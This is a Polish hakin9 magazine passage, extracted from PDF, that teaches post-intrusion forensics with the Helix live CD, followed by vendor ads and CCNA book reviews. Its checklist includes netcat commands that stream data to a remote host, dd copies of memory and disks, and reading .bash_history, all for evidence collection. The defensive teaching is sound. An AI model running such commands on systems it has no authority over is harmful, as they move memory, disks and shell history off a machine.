utworzenia  dyskietek  startowych. 
Oczywiście  można  zainstalować 
Heliksa  na  dysku  twardym  wyko-
rzystując skrypt knx2hd, ale wersja 
bootowalna z płyty CD jest o wiele 
bardziej elastyczna w użytkowaniu. 
Oprócz  możliwości  pracy  z  pozio-
mu  Heliksa,  na  płycie  znajdują  się 
pliki  umożliwiające  uruchamianie 
narzędzi  w  systemie  Solaris  x86. 
Dostępna  jest  też  możliwość  pra-

cy w środowisku Windows. Po wło-
żeniu płyty do napędu automatycz-
nie startuje menu Heliksa, co widać 
na Rysunku 1.

Po  wybraniu  i  zaakceptowaniu 

języka  (niestety,  nie  ma  polskie-
go)  w  oknie  ukazuje  się  menu  wy-
boru  narzędzi,  z  których  chcemy 
korzystać.  Bardzo  dobrym  przy-
kładem  wykorzystania  Heliksa 
w  systemie  Windows  jest  potrze-
ba  wykonania  obrazu  zawartości 
pamięci  operacyjnej  w  przypad-
ku,  gdy  podejrzewamy,  iż  system 
został  zaatakowany  przez  hakera. 
Restart  komputera  i  uruchomienie 
Heliksa  spowodowałoby  utracenie 
zawartości 

pamięci 

operacyj-

nej  jednak  wystartowanie  Helik-
sa  w  środowisku  Windows  pozwo-
li  na  przygotowanie  nie  tylko  ob-
razu  zawartości  pamięci  operacyj-
nej,  ale  także  wszystkich  partycji 
dyskowych.  Na  wykonanych  obra-
zach  można  bez  większego  trudu 
prowadzić analizę oraz szukać śla-
dów  pozostawionych  przez  hakera. 
W  skład  narzędzi  dostępnych 
w darmowej dystrybucji Helix wcho-
dzą typowe narzędzia do prowadze-
nia dochodzenia, między innymi ta-
kie, jak SleuthKit wraz z webowym 
interfejsem Autopsy, Linen, AIR czy 
pyFLAG oraz wiele innych przydat-
nych  aplikacji.  Postaram  się  przy-
bliżyć Czytelnikom możliwości tego 

zestawu narzędzi i jednocześnie za-
chęcić do jego używania. 

Mimo  tego  że  przeznaczenie 

Heliksa  jest  raczej  jednoznacz-
nie określone przez autorów, uwa-
żam,  że  doskonale  nadaje  się  on 
nawet  do  takich  prac  jak  chociaż-
by wykonanie kopii zapasowej za-
wartości  dysku  czy  jako  płyta  ra-
tunkowa  w  przypadku  problemów 
z  systemem.  Helix  zawiera  bo-
wiem między innymi narzędzie do 
przeglądania  rejestru  Windows, 
a także inne aplikacje możliwe do 
wykorzystania  zarówno  w  syste-
mach  linuksowych,  jak  i  window-
sowych.  Aby  dokonać  przeszu-
kania  zawartości  dysku  w  nadziei 
znalezienia  śladów  przestępstwa, 
nie  narażając  jednocześnie  bada-
nego  dysku  na  dokonanie  jakiej-
kolwiek zmiany w jego zawartości 
podczas takich działań, nie operu-
je się na żywym dysku, tylko na je-
go  obrazie.  Helix  jest  wyposażo-
ny  w  narzędzia  pozwalające  na 
wykonanie  takich  obrazów  na  ze-
wnętrznych  dyskach  USB  lub  Fi-
reWire.  Jest  także  możliwość  wy-
konania  obrazu  dysku  na  stre-
amerze  oraz  przy  wykorzystaniu 
sieci  na  zdalnym  komputerze,  co 
w  niektórych  przypadkach  może 
być  bardzo  przydatne.  Sam  Helix 
nie  montuje  automatycznie  żad-
nych  dysków  dostępnych  w  sys-

Rysunek 1. 

Helix uruchamiany z 

poziomu Windows

Rysunek 2. 

Widok uruchomionego systemu Helix Live

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

66

temie,  w  którym  jest  uruchamiany 
–  właśnie  ze  względu  na  możliwe 
przypadkowe wprowadzenie zmian 
w strukturze zawartości dysku.

Aby  wykonać  obraz  dysku, 

który  później  będziemy  badać, 
musimy  skorzystać  z  narzędzi, 
które nam to umożliwią. Do dyspo-
zycji  mamy  standardowy  program 
dd działający w konsoli lub też gra-
ficzną  nakładkę  na  to  narzędzie 
– czyli Adepto.

dd jest doskonałym narzędziem 

do wykonania obrazu dysku – wy-
konuje  to  zadanie  dość  szybko, 
a wynik jest wierną kopią (tak zwa-
nym bitstreamem) tego, co znajdu-
je się faktycznie na dysku; przeno-
si  także  uszkodzone  pliki  czy  na-
wet błędy systemu plików. Na pły-
cie  znajduje  się  również  ulepszo-
na  wersja  dd:  sdd  (Specialized 
dd)
,  która  dzięki  nowym  algoryt-
mom  pracuje  znacznie  szybciej. 
Kolejnym  znajdującym  się  w  ze-
stawie  narzędzi  interfejsem  gra-
ficznym dla dd jest AIR. Jego uży-
wanie nie powinno sprawiać kłopo-
tów, ponieważ program jest bardzo 
prosty, a jego obsługa – niezwykle 
wygodna.

Po  wykonaniu  obrazu  zawarto-

ści  badanego  dysku  możemy  przy-
stąpić  do  analizy  jego  zawarto-
ści  w  poszukiwaniu  śladów  prze-

stępstwa,  ukrytych  plików  czy  in-
nych  elementów  ważnych  dla  pro-
wadzonego  dochodzenia.  Jest  to 
także  doskonały  moment  do  ana-
lizy  logów  systemowych  (bez  ich 
fizycznego  naruszania)  po  ata-
ku  wykonanym  na  dany  system 
w  celu  uzyskania  maksymalnej  ilo-
ści informacji na temat rodzaju ata-
ku, drogi jaką został przeprowadzo-
ny,  a  także  znalezienia  ewentual-
nych śladów pozostawionych przez 
hakera mogących pomóc w ustale-

niu źródła ataku. W zestawie narzę-
dzi  znalazł  się  także  program  wy-
mienionej wcześniej firmy produku-
jącej  oprogramowanie  wykorzysty-
wane przez policje na całym świecie 
do wykrywania przestępstw kompu-
terowych  Guidance  Software  o  na-
zwie LinEn, służący także do wyko-
nywania obrazu dysku. 

Retriever  to  z  kolei  narzędzie 

pozwalające  na  wyszukiwanie 
i  przeglądanie  poszczególnych 
plików.  Program  potrafi  wyszuki-
wać  pliki  dokumentów  w  najbar-
dziej  popularnych  formatach,  pli-
ki  graficzne  (także  w  kilku  forma-
tach), pliki wideo, a także pliki wia-
domości email. Narzędzie posiada 
intuicyjny  interfejs  i  jest  wygodne 
w użyciu.

Bardzo  potężnego  kalibru  jest 

kolejne  obecne  w  Heliksie  narzę-
dzie – SleuthKit wraz z graficznym 
(Web)  interfejsem  Autopsy.  Pro-
gram potrafi naprawdę dużo – po-
cząwszy  od  przeszukiwania  dys-
ku  w  poszukiwaniu  skasowanych 
plików,  po  odnajdywanie  danych 
ukrytych  w  obszarach  ADS  (Al-
ternate  Data  Streams)
,  które  wy-
stępują  w  systemie  plików  NTFS. 
To imponująca aplikacja, warta po-
znania i używania.

Analiza powłamaniowa to waż-

ny element obrony przed kolejnymi 

Rysunek 3. 

Uruchomiony Adepto – GUI dla DiskDump

Rysunek 4. 

Okno programu AIR

background image

Helix – analiza powłamaniowa

hakin9 Nr 2/2008

www.hakin9.org

67

atakami. Tu przychodzi nam z po-
mocą  program  pyFLAG  –  Foren-
sic  and  Log  Analysis  Gui
.  Posia-
da  również  graficzny  (Web)  inter-
fejs  podobnie  jak  Autopsy,  jednak 
wyróżnia  się  na  korzyść  dodatko-
wymi funkcjami, których nie ma to 
pierwsze narzędzie. Są to przeglą-
danie logów systemu oraz analiza 
zawartości  rejestru  systemowego 
Windows.  Program  posiada  rów-
nież  funkcje  przeszukiwania  śla-
dów  ataku  w  plikach  aplikacji  sie-
ciowych,  a  także  w  plikach  prze-
chwyconych pakietów TCP/IP.

Do przeglądania rejestru syste-

mu  Windows  jest  jeszcze  na  pły-
cie program Regviewer oraz przy-
datny do analizy zawartości plików 
edytor szesnastkowy Ghex.

Schemat działania  

analizy przestępstwa

Przykładowy  schemat  działania 
podczas  zbierania  dowodów  prze-
stępstwa  obrazuje  podstawowe 
czynności, które należy wykonać w 
celu sprawnego i skutecznego zna-
lezienia  i  zabezpieczenia  we  wła-
ściwy  sposób  śladów  działalno-
ści  hakera  w  skompromitowanym 
systemie. Poszczególne czynności 
oczywiście  wykonuje  się  w  miarę 
potrzeb  i  podejrzeń  co  do  rodzaju 
ataku oraz potencjalnych szans na 
znalezienie dowodów, niemniej jed-
nak warto zrobić kilka kroków wię-
cej i mieć pewność, że uczyniło się 
wszystko, aby zdobyć jak najwięcej 
informacji.  Schemat  opiera  się  na 
standardowej  metodologii  składa-
jącej  się  z  czterech  etapów:  iden-
tyfikacji,  zbierania  danych,  analizy 
i prezentacji wyników.

Inspekcja online

W  pierwszym  etapie  zajmujemy  się 
identyfikowaniem  systemu  z  jakim 
będziemy  pracować,  zbieramy  in-
formacje  na  temat  rodzaju  dysków, 
wielkości  partycji,  systemów  plików 
wykorzystanych  w  systemie  –  po 
to,  aby  umieć  określić,  jakiego  ro-
dzaju  nośnika  musimy  użyć  do  wy-
konania  obrazu  zawartości  dysków 
na  późniejszym  etapie.  W  związku 
z tym, że nie można ufać żadnemu 

programowi na komputerze, na któ-
rym  istnieje  podejrzenie  kompromi-
tacji (ponieważ może na nim praco-
wać jakiś program typu koń trojański 
lub inny, który może powodować nie-
prawidłowe działanie aplikacji), nale-
ży używać wyłącznie oprogramowa-
nia na nośnikach takich, jak dyskiet-
ka czy płyta CD/DVD. W trakcie te-
go etapu prac warto wykonać poniż-
sze czynności:

•   wykonać  kopie  danych  na  no-

śniku  zewnętrznym  w  celu  dal-

szej analizy programami Adepto, 
Air,LinEn  lub  używając  polece-
nia kopiowania z przełącznikiem 
p dla zachowania atrybutów pliku 
oraz właściciela i grupy: 

 

cp -rp katalog_źródłowy katalog_

docelowy

•   lub na komputerze zdalnym uży-

wając polecenia 

netcat

:

  komputer docelowy: 

nc -p 1234 -l 

> plik _ docelowy 

Rysunek 5. 

LinEn przed wykonaniem obrazu zawartości dysku

Rysunek 6. 

Retriever w pełnej krasie

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

68

  komputer źródłowy: 

cat data |nc 

-w 3 komputer _ docelowy 1234

•   lub wykonać obraz dysku/partycji 

używając polecenia 

dd

:

  dd  if=/dev/dysk _ źródłowy  of=/

dev/dysk _ docelowy

•   wykonać  obraz  zawartości  pa-

mięci  operacyjnej  w  celu  jak 
wyżej używając na przykład po-
lecenia 

dd

 :

  dd  if=  /dev/mem  of=plik _ z _

zawartością _ pamięci

•   zbadać  uruchomione  procesy 

przy pomocy na przykład polece-
nia 

ps

:

  ps 

auxeww

,  które  wyświetli 

wszystkie  uruchomione  proce-
sy (uwaga – może to być bardzo 
długa  lista  procesów,  w  zależ-
ności  od  ilości  uruchomionych 
programów/usług)

•   przejrzeć adresy uruchomionych 

w pamięci procesów – także przy 
pomocy komendy 

ps

:

  ps -ealf

•   przejrzeć  otwarte  pliki  przy 

użyciu  na  przykład  polecenia 

lsof

:

  lsof

  bez  parametrów  –  dla  wy-

świetlenia  plików  otwartych 
przez  wszystkie  działające  pro-
cesy 

  lsof  -s  numer _ pid _ procesu

 

–  dla  wyświetlenia  plików  kon-
kretnego procesu;

•   wyświetlić  wywołania  bibliotek 

dla  konkretnego  procesu  pole-
ceniem 

ltrace

:

  ltrace -p numer _ pid _ procesu

•   wyświetlić wywołania systemowe 

poleceniem 

strace

:

  strace -p numer _ pid _ procesu

•   zebrać  informacje  o  połącze-

niach  sieciowych  z  użyciem 

netstat

:

  netstat -a

•   sprawdzić  konkretny  host,  któ-

rego adres IP wydaje się podej-
rzany  –  przy  pomocy  narzędzia 

traceroute

:

  traceroute adres _ IP

•   znalezienie adresu sprzętowego 

MAC z użyciem polecenia 

arp

:

•  arp  adres _ ip

  –  dla  wyświe-

tlenia  adresu  MAC  dla  kon-
kretnego adresu IP;

  •  arp  -a

  –  dla  wyświetle-

nia MAC dla wszystkich adre-
sów znajdujących się w tabli-
cy arp;

•   zrzut  do  pliku  ruchu  sieciowego 

– przy pomocy tcpdump lub inne-
go narzędzia:

  tcpdump -w zrzucany _ plik

•   wyświetlenie pliku historii konso-

li poleceniem cat w celu przejrze-
nia ostatnio wykonywanych ope-
racji:

  cat .bash _ history

Na  tym  etapie  możemy  zakończyć 
pracę  z  aktywnym  połączeniem 

Rysunek 7. 

Autopsy – webowy interfejs użytkownika

Rysunek 8. 

pyFLAG przed skanowaniem systemu plików

background image

Helix – analiza powłamaniowa

hakin9 Nr 2/2008

www.hakin9.org

69

z siecią. Następne kroki należy wy-
konywać bez połączenia z siecią.

Inspekcja offline

W tej części prac odłączamy podej-
rzany  o  skompromitowanie  kompu-
ter od sieci i dokonujemy sprawdze-
nia systemu pod kątem pozostawio-
nych śladów, których nie zatarł ata-
kujący.  Uruchamiamy  w  tym  celu 
komputer  używając  płyty  z  syste-
mem Helix. System po uruchomieniu 
nie montuje dysków, które obecne są 
w komputerze (i tak ma być), musimy 
je ręcznie zamontować w trybie tyl-
ko do odczytu, aby nie zmienić przez 
przypadek  zawartości  znajdujących 
się  na  nich  plików.  Po  zamontowa-
niu  dysków  dokonujemy  analizy  ich 
zawartości przy użyciu narzędzi do-
stępnych w Heliksie.

Wykonujemy  następujące  czyn-

ności:

•   przeglądamy  logi  systemowe 

z naciskiem na wymienione:
•  

/var/log/messages

•  

/var/log/secure

•  

/var/log/maillog

•  

/var/log/spooler

•  

/var/log/boot.log

•   sprawdzamy  system  pod  ką-

tem obecności wirusów, na pły-
cie  Heliksa  mamy  do  dyspozy-
cji programy antywirusowe takie 
jak ClamAV oraz F-Prot,

•   sprawdzamy  system  pod  kątem 

obecności programów typu root-
kit  dostępnymi  na  płycie  narzę-
dziami  służącymi  do  tego  celu 
– czyli chkrootkit lub rkhunter,

•   poszukujemy 

podejrzanych 

nazw katalogów i plików, w któ-
rych atakujący mógł pozostawić 
po sobie ślady.

Poszukiwanie, odzyskiwanie 

i analiza usuniętych plików

Haker po dokonaniu ataku stara się 
zacierać  maksymalną  ilość  śladów 
swojej  obecności,  co  z  jego  punk-
tu  widzenia  jest  oczywiste  –  ma  go 
uchronić  przed  odpowiedzialnością 
za popełniony czyn. Jednak nie każ-
dy haker usuwa ślady w taki sposób, 
że nie można ich później znaleźć al-
bo odtworzyć.

Ekran 9. 

Ghex – edytor szesnastkowy

Listing 1. 

Fragment raportu z programu Autopsy na temat znalezionego 

pliku, skasowanego przez intruza

Autopsy

 

hex

 

Fragment

 

Report

GENERAL

 

INFORMATION

Fragment

:

 

1975303

Fragment

 

Size

:

 

1024

Pointed

 

to

 

by

 

Inode

:

 

247490

Pointed

 

to

 

by

 

files

:

MD5

 

of

 

raw

 

Fragment

:

 

50

eafe45b193997dcca00dadae19ee6d

MD5

 

of

 

hex

 

output

:

 

2

ee4dff15a6f3254519c448e5867f5d5

Image

:

 

'/home/knoppix/pyflag/evidence/sledztwo1/host1/images/hda5-img.dd.000'

Offset

:

 

Full

 

image

File

 

System

 

Type

:

 

ext

Date

 

Generated

:

 

Wed

 

Nov

 

14

 

21

:

32

:

42

 

2007

Investigator

:

 

unknown

CONTENT

0

   

2

f766172

 

2

f6c6f67

 

2

f746f72

 

2

f2a2e6c

  /

var

 /l

og

 /t

or

 /*

.

l

 

16

   

6

f67207b

 

0

a202020

 

20202020

 

20646169

  

og

 

{ .          dai 

32   6c790a20 20202020 20202072 6f746174  ly.          r otat 
48   6520350a 20202020 20202020 636f6d70  e 5.           comp 
64   72657373 0a202020 20202020 2064656c  ress .          del 
80   6179636f 6d707265 73730a20 20202020  ayco mpre ss.       
96   2020206d 69737369 6e676f6b 0a202020     m issi ngok .    
112   20202020 206e6f74 6966656d 7074790a       not ifem pty. 
128   20202020 20202020 73686172 65647363           shar edsc 
144   72697074 730a2020 20202020 2020706f ript s.          po 
160   7374726f 74617465 0a202020 20202020   stro tate .         
176   20202020 20202020 20736572 76696365            ser vice 
192   20746f72 2072656c 6f616420 3e202f64    tor  rel oad  > /d 
208   65762f6e 756c6c0a 20202020 20202020 ev/n ull.           
224   656e6473 63726970 740a7d0a 00000000 ends crip t.}

. .... 

240

   

00000000

 

00000000

 

00000000

 

00000000

 .... .... .... .... 

.
.
.

1008

   

00000000

 

00000000

 

00000000

 

00000000

 

VERSION

 

INFORMATION

Autopsy

 

Version

:

 

2.08

The

 

Sleuth

 

Kit

 

Version

:

 

2.09

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

70

I tu jest pole do popisu dla specjali-

sty zajmującego się analizą powłama-
niową, który może spróbować wykryć 
pozostawione ślady lub odzyskać pliki, 
które zostały usunięte, a mogą zawie-
rać jakiekolwiek ślady przestępstwa.

Do poszukiwania plików można 

użyć SleuthKit w konsoli, ale zde-
cydowanie  wygodniej  i  sprawniej 
będzie  to  robić  korzystając  z  gra-
ficznego interfejsu Autopsy. 

Do  odzyskiwania  danych  z  par-

tycji  ext2  w  przypadku  Linuksa  mo-
żemy  wykorzystać  narzędzie  e2re-
cover, pracuje ono w konsoli, a jego 
obsługa nie jest trudna, więc każdy 
powinien  sobie  poradzić.  Co  zrobić 
z odzyskanymi plikami? Oczywiście 
przeanalizować  pod  kątem  zawar-
tych w nich ewentualnych informacji, 
które chciał usunąć haker zacierając 
ślady po swojej działalności. 

Hakerzy  zacierają  ślady  w  róż-

ny  sposób,  wykorzystują  do  tego 
celu  na  przykład  rootkity,  zmienia-
ją  sumy  kontrolne  plików,  w  których 
ukrywają  rootkity,  kasują  zawartość 
logów systemowych, używają do ata-
ku kont użytkowników, których hasła 
dostępu udało im się uzyskać przed 
atakiem przy pomocy snifferów – tak, 
aby skierować podejrzenie na właści-
cieli tych kont.

Zapis materiału dowodowego

Sam fakt wykonania obrazu dysku 
czy  partycji,  już  przed  przystąpie-
niem do analizy danych jest zapew-
nieniem,  iż  taki  obraz  i  znalezione 
w  nim  ślady  ataku  mogą  stanowić 
dowód w sprawie sądowej. W zapi-
sanym obrazie znajdują się bowiem 
informacje na temat dat utworzenia 
i  modyfikacji  plików,  praw  własno-
ści  i  cała  masa  innych  informacji, 
które  nie  zostaną  zmienione,  jeśli 
będziemy  z  takim  obrazem  syste-
mu  pracować  podczas  analizy  tyl-
ko i wyłącznie w trybie do odczytu. 
Znalezione  informacje,  odpowied-
nio spreparowane w postaci plików 
czy  też  wydruków,  mogą  stanowić 
materiał,  który  można  przedsta-
wić na sali sądowej – a obraz dys-
ku  w  niezmienionej  formie  może 
być  przekazany  biegłym  sądowym 
w celu weryfikacji.

W treści raportu przedstawionego 

na Listingu 1. zawarte są między inny-
mi informacje na temat rozmiaru pliku 
i  jego  położenia  na  dysku,  przedsta-
wiona jest także jego zawartość w po-
staci szesnastkowej. Jest to tylko frag-
ment  dotyczący  jednego  pliku  –  cały 
raport z programu Autopsy może być 
bardzo  obszerny,  więc  trudno  byłoby 
go tu przedstawić.

Oczywiście  istnieje  wiele  in-

nych,  bardziej  skomplikowanych 
schematów działania podczas ana-
lizy  powłamaniowej,  które  są  wy-
korzystywane  przez  specjalistycz-
ne firmy zajmujące się tymi zagad-
nieniami,  lecz  celem  artykułu  by-
ło  przedstawienie  możliwie  prostej 
metodologii  nadającej  się  do  wy-
korzystania  przez  każdego  w  jego 
własnym komputerze.

Podsumowanie

Jak można się przekonać po prze-
czytaniu tego artykułu, analiza po-
włamaniowa  –  mimo  tego,  iż  jest 
to  zadanie  bardzo  trudne,  czaso-
chłonne  i  wymagające  dużej  wie-
dzy oraz cierpliwości podczas jego 
wykonywania  –  nie  musi  być  nie-
możliwa do wykonania.

Oczywiście  przebyte  szkole-

nia w tej materii czy też wieloletnie 
doświadczenie na pewno pozwala 
na  w  pełni  profesjonalne  wykona-
nie takiej analizy, a certyfikaty po-

twierdzające  wiedzę  osoby  ją  wy-
konującej zwiększają szanse, iż jej 
wyniki  zostaną  dopuszczone  jako 
materiał dowodowy. 

Jednak  w  przypadku  osób,  któ-

rym zależy na zdobyciu wiedzy w ta-
kim  zakresie,  aby  móc  wykonać  to 
zadanie na własne potrzeby – z chę-
ci zabezpieczenia się przed kolejny-
mi atakami lub w celu poznania i zro-
zumienia  metod  ataku  wykorzysty-
wanych przez hakerów – informacje, 
które zawarłem w tym artykule, po-
winny być pomocne.

Należy  to  robić  w  trybie  tylko 

do  odczytu.  Wykorzystuję  do  te-
go celu komputer, do którego pod-
łączam dysk z zapisanym wszyst-
kim tym, co robiłem w poprzednim 
etapie.  Uruchamiam  na  tym  kom-
puterze  Heliksa,  który  po  załado-
waniu daje mi możliwość korzysta-
nia z jego programów. 

W związku z tym, że Helix sam 

nie  montuje  żadnych  dysków  ze 
względów  bezpieczeństwa,  musi-
my  teraz  sami  zamontować  dysk 
z  zebranym  materiałem  do  anali-
zy. Wykonujemy to na przykład po-
leceniem:

mount  /dev/nazwa _ urządzenia  /
ścieżka _ do _ zamontowania ro

gdzie  parametr 

ro

  określa  tryb 

montowania tylko do odczytu. l

O autorze

Autor, Grzegorz Błoński, z wykształcenia jest informatykiem, certyfikowanym 
specjalistą IBM. Pracuje w dużej firmie o zasięgu światowym. Zajmuje się ad-
ministracją i bezpieczeństwem sieciowym. Należy do międzynarodowych or-
ganizacji  ISOC  oraz  ISACA  zajmujących  się  szeroko  pojętym  bezpieczeń-
stwem IT. Kontakt z autorem: mancymonek@mancymonek.pl

W Sieci

•   www.e-fense.com, 
•   www.guidancesoftware.com,
•   www.forensictools.pl,
•   http://www.porcupine.org/forensics, 
•   http://computer-forensics.safemode.org,
•   http://www.cftt.nist.gov, 
•   http://www.mediarecovery.pl,
•   http://www.opensourceforensics.org.

background image

CCNS

Działalność  firmy  skoncentrowana  jest 
wokół hasła zapewnienia pełnego bez-
pieczeństwa  funkcjonowania  Klienta 
w  realiach  współczesnej  gospodarki. 
Jako Expert Partner firmy WatchGuard 
Inc.  oferujemy  kompleksowe  rozwiąza-
nia  bezpieczeństwa  sieci  i  systemów 
informatycznych  obejmujące  nowo-
czesne  urządzenia  typu  Unified  Thre-
at  Management,  niezawodny  serwis 
i szeroki wachlarz szkoleń.  

Prenumerata Pro

Media

 

Systems

Firma Media Systems oferuje Państwu 
profesjonalny  system  CashBill.pl, 
umożliwiający  zarządzanie  usługami 
SMS  Premium  Rate  w  sektorze  B2B 
i  B2C.  Oferujemy  również  szeroki 
wachlarz  usług  mikropłatniczych, 
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy 
budowie aplikacji mobilnych. 

TTS Company Sp. z o.o.

Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie.  W  ofercie  programy  autorstwa 
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym 
klientem lub dostawcą. 

Zepter IT

Zepter  IT  to  dynamicznie  rozwijają-
ca  się  firma,  specjalizująca  się  w  re-
alizacji  projektów  informatycznych. 
Oferujemy  rozwiązania  dla  biznesu
i  zarządzania  takie  jak  systemy  ERP 
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów. 
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce,  tworzenie  aplikacji  internetowych 
oraz systemów zarządzania treścią. 

Petrosoft

Partner  Microsoft  Bussiness  Solutions 
Dynamics  GP.  Budowa  sklepów  inter-
netowych, serwisów WWW, prezentacji 
multimedialnych.  Budowa  sieci  LAN, 
WAN,  telekomunikacyjnych.  Telefonia 
stacjonarna,  VoiceIP.  Usługi  outsor-
cingowe  dla  dużych  firm  z  zakresu 
informatyki  i  telekomunikacji.  Opro-
gramowanie  na  zamówienia.  Dostawa 
serwerów, sprzętu, oprogramowania.

www.OprogramowanieKomputerowe.pl

www.ccns.pl

38-200 Jasło, ul. 3 Maja 101

Biuro: (13) 44 66 666

biuro@petrosoft.pl

www.zepterit.com

kontakt do nas: 

katarzyna.juszczynska@software.com.pl

robert.gontarski@software.com.pl

tel. : 22 427 36 77

Enigma SOI

Głównym  przedmiotem  działalności  fir-
my  jest  produkcja,  wdrażanie  i  sprze-
daż  systemów  służących  do  ochrony 
informacji.

• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
•  podpis elektroniczny i szyfrowanie 

na serwerach i stacjach klienckich

• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki

www.enigma.com.pl

Kei.pl

Kei.pl  działa  na  rynku  usług  hostin-
gowych  od  2000  roku.  Do  naszych 
zadowolonych  Klientów  z  dumą 
możemy zaliczyć wiele przedsiębiorstw 
sektora  MSP,  instytucji  oraz  osób  pry-
watnych.  W  ofercie  Kei.pl  znajdują  się 
pakiety  hostingowe,  a  także  usługi  dla 
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.

http://www.kei.pl

background image

hakin9 Nr 2/2008

www.hakin9.org

72

Księgozbiór

Tytuł: CCNA semestr 1 i 2

Autor: Wendell Odom, Tom Knott / Wendell Odom, Rick McDonald

Wydawca: PWN

Rok wydania w Polsce: 2007

Liczba stron: 680/524

Najnowszy  zestaw  szkoleniowy  przygotowujący  do 
zdania egzaminu CCNA składa się z czterech osobnych 
książek,  odpowiadających  czterem  semestrom  Akade-
mii Cisco. 

Pierwsza  pozycja  –  otwierająca  kurs  –  zawiera 

11 rozdziałów. Rozdziały są bardzo dobrze podzielone 
na grupy tematów ściśle ze sobą powiązanych. Każdy 
z  nich  posiada  logiczną  strukturę,  dającą  się  szybko 
opanować  i  umożliwiającą  intuicyjne  poruszanie  się 
po  treści.  Rozdział  zaczyna  się  od  wstępu,  w  którym 
możemy się zapoznać z jego celami, dowiadując się, 
co  powinniśmy  mieć  opanowane  po  przeczytaniu  tej 
części książki. 

Dalej następuje krótki skorowidz ważnych terminów 

występujących  w  danym  rozdziale.  Sama  treść  jest 
podzielona na zwięzłe, logicznie ułożone bloki tekstu, 
w treści których jest wiele zdjęć i diagramów wyjaśnia-
jących  przejrzyście  opisywany  temat.  Co  jakiś  czas 
można  napotkać  na  umieszczone  w  ramkach  istot-
ne  uwagi,  które  podpowiadają,  jak  w  praktyce  stoso-
wać omawiane zagadnienie. Równie istotne dla prosto-
ty nauki są – omówione krok po kroku – sposoby konfi-
guracji urządzeń sieciowych. 

Każdy rozdział jest zakończony rzeczowym podsu-

mowaniem.  Po  zapoznaniu  się  z  nim  możemy  dodat-
kowo sprawdzić poziom opanowania danej partii mate-
riału dzięki pytaniom kontrolnym i zadaniom praktycz-
nym. Pytania mają charakter jednokrotnego bądź wie-
lokrotnego wyboru – wszystko rodem z elektronicznej 
wersji Cisco Networking Academy utrzymywanej przez 
Cisco.

Różnica  względem  poprzedniego  wydania  jest 

bardzo  zauważalna.  Rozdziały  są  zwięzłe  i  konkret-
ne, bez zbędnego lania wody, co nużyło w poprzednim 
wydaniu tej serii. Autorom tym razem udało się stwo-
rzyć  książkę,  która  bardzo  dobrze  wyjaśnia  szereg 
podstawowych zagadnień związanych z sieciami.

Zakończenie  książki  stanowią  odpowiedzi  oraz 

wyjaśnienia  pytań  kontrolnych  i  zadań  praktycznych. 
W załączonych dodatkach znajdują się: tabela konwer-
sji wartości dziesiętnych na binarne, ćwiczenia dodat-
kowe – uzupełniające wiedzę zawartą w książce oraz 
dość  obszerny  słowniczek  wyjaśniający  techniczne 
pojęcia występujące we wszystkich rozdziałach.

Do  książki  dołączona  jest  płyta  CD,  która  stano-

wi  idealne  jej  uzupełnienie.  Możemy  na  niej  znaleźć 
m.  in.:  symulator  Packet  Tracer  3.2  z  szeregiem  ćwi-

czeń do wykonania, interaktywne ćwiczenia systema-
tyzujące i sprawdzające naszą wiedzę oraz dodatkowe 
materiały, uzupełniające tematy poruszane w książce. 
W parze z poprawą merytoryczną, to właśnie rezygna-
cja z grubości książki na rzecz dodatkowych materia-
łów elektronicznych jest znaczącym atutem tego wyda-
nia, gdyż czytelnik może łatwo odróżnić i wyselekcjo-
nować  materiał  obowiązkowy  –  konieczny  do  zdania 
CCNA – od treści poszerzających jego wiedzę.

W  porównaniu  do  poprzednich  wydań  serii  ksią-

żek  przygotowujących  do  zdania  egzaminu  CCNA, 
należy odnotować dużą poprawę zarówno pod wzglę-
dem  merytorycznym,  jak  i  pod  względem  przekładu 
na język polski, który był dotąd piętą achillesową tych 
książek. 

Wydawnictwo polskie również częściej, niż to miało 

miejsce  we  wcześniejszych  wydaniach,  przytacza 
angielskie terminy, aby czytelnik, gdy się z nimi spotka 
na  egzaminie,  mógł  sobie  bez  problemu  poradzić 
z obcojęzycznym tekstem.

Pierwsza część książki zawiera gruntowne podło-

że  dla  dalszego  zrozumienia  zagadnień  związanych 
z działaniem sieci komputerowych oraz sprzętu, który 
je tworzy. Dość obszernie omówione zostały technolo-
gie  sieciowe  stosowane  w  większości  sieci  kompute-
rowych oraz media transmisyjne. Ta pozycja przezna-
czona jest raczej dla osób nie mających pojęcia o sie-
ciach lub pragnących przypomnieć sobie absolutne ich 
podstawy.

Druga część kursu zawiera niewielkie dokończenie 

teorii o sieciach – rozszerzenie wiadomości o działaniu 
protokołu  TCP/IP  oraz  omówienie  protokołów  routin-
gu. Reszta to już tematy związane z produktami firmy 
Cisco:  działanie  routerów  Cisco,  podstawowa  konfi-
guracja,  proste  operacje  i  rozwiązywanie  problemów 
z Cisco IOS oraz wprowadzenie do list kontroli dostę-
pu (ACL).

Jan Niedźwiedź

Podziękowania

Specjalne  podziękowania  dla  Wydawnictwa  Naukowego 
PWN za udostępnienie redakcji książek do recenzji.

Kontakt: www.pwn.pl

background image

hakin9 Nr 2/2008

73

Tytuł: 
CCNA semestr 3 i 4

Autor: Wayne Lewis/Allan Reid

Wydawca: PWN

Rok wydania w Polsce: 2007 

Liczba stron: 348 / 292

Te dwie książki to kontynuacja kursu, który ma przygotować 
do  zdania  certyfikatu  CCNA.  Układ  treści  nie  zmienił  się 
w porównaniu z pierwszą i drugą częścią serii. Jak poprzed-
nio, każdy rozdział składa się z wprowadzenia (cele, ważne 
terminy), omówienia tematu, podsumowania, pytań kontro-
lnych oraz zadań praktycznych. Również i te części zosta-
ły okraszone sporą ilością ilustracji do omawianych tema-
tów, a także pewną ilością scenariuszy, w których możemy 
zobaczyć jak to wszystko działa. W każdej chwili możemy 
sięgnąć do obszernego słowniczka oraz sprawdzić odpo-
wiedzi do testów na końcu książki.

W części trzeciej opisane zostały następujące zagad-

nienia:  routing  bezklasowy,  jednoobszarowy  OSPF, 
EIGRP,  postawy  konfiguracji  przełączników  Catalyst 
